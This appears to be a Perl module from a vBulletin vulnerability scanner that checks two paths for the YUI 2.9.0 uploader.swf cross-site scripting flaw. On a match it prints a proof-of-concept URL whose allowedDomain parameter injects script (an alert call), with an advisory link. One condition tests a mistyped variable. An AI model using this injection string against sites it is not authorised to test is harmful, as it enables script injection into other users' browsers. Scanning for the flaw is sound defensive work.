#vBulletin YUI 2.9.0 XSS
$tfh=0;
dprint("Checking vBulletin YUI 2.9.0 XSS");
$response = $ua->get("$target/clientscript/yui/uploader/assets/uploader.swf");
my $headers  = $response->headers();
my $content_type =$headers->content_type();
if ($response->status_line =~ /200/g and $content_type =~ /x-shockwave-flash/g) {
    $source=$ua->get("$target/clientscript/yui/uploader/uploader-min.js")->decoded_content;
    if($source =~ m/version: 2/i){
        tprint("uploader.swf is vulnerable \n$target/clientscript/yui/uploader/assets/uploader.swf?allowedDomain=\\\"})))}catch(e){alert(/XSS/);}//\n POC : https://packetstormsecurity.com/files/124746/vBulletin-YUI-2.9.0-Cross-Site-Scripting.html");
        
        $tfh=1;
    }
}
$response = $ua->get("$target/core/clientscript/yui/uploader/assets/uploader.swf");
my $headers  = $response->headers();
my $content_type =$headers->content_type();
if ($response->status_line =~ /200/g && $tf==0 and $content_type =~ /x-shockwave-flash/g) {
    $source=$ua->get("$target/core/clientscript/yui/uploader/uploader-min.js")->decoded_content;
    if($source =~ m/version: 2/i){
        tprint("uploader.swf is vulnerable \n POC :  $target/core/clientscript/yui/uploader/assets/uploader.swf?allowedDomain=\\\"})))}catch(e){alert(/XSS/);}//\nhttps://packetstormsecurity.com/files/124746/vBulletin-YUI-2.9.0-Cross-Site-Scripting.html");
        $tfh=1;
    }
}
if ($tfh==0){
    fprint("uploader.swf not found");
}
#vBulletin YUI 2.9.0 XSS
